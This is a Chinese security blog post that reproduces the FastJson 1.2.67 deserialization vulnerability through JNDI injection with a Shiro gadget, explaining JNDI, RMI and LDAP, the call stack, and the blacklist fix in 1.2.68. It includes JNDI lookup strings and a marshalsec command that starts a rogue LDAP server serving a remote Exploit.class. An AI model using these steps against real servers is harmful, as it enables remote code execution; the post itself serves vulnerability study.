前言
前不久传的沸沸扬扬的FastJson反序列化漏洞,相信有不少企业都中招了,当然我司也未能幸免,基于次漏洞更具官方给的补漏措施,已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。
以下便是部分官方公告:
“Fastjson” 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
JDK 版本:8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25
为了快速添加项目所需要的jar包,创建Maven项目如下
Maven文件:pom.xml
导入工程之后右键pom.xml ,点击下载源码source和document。
此漏洞应该选择:JDK 8u112
此时在main文件夹中,添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数
如图:fastjson.java
因此,通过以上代码可以看出调用parseObject 函数会调用getattr()方法。
此时我们进行调用栈分析:
在这一步的操作是将obj对应的对象类型转化为json,这肯定要获得getattr() 对象方法,从而会触发漏洞。
将用invoke方法,调用getinstance()方法:
例:
例:
在Java Name Directory Interface中,Java的命名和目录接口(JNDI)是一种Java 的API,类似于一个索引中心,允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service,此时,通过名称来寻找数据和对象的API,我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
整个应用场景如:动态加载数据库配置文件,从而保持数据库代码不变动等。
漏洞注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
假若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即:可实现JNDI注入实现任意代码执行。
简称RMI(Remote Method Invocation,远程方法调用),远程方法调用是分布式编程中的基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
简称:LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)一种目录服务协议,主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,从而能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。
使用marshalsec启动一个ladp服务器 ,下载地址为
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
此时将编译好的Exploit.class 放在web目录下并开启服务
这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist
该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了
具体代码如下图所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。
本文作者:安全先师
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/135237.html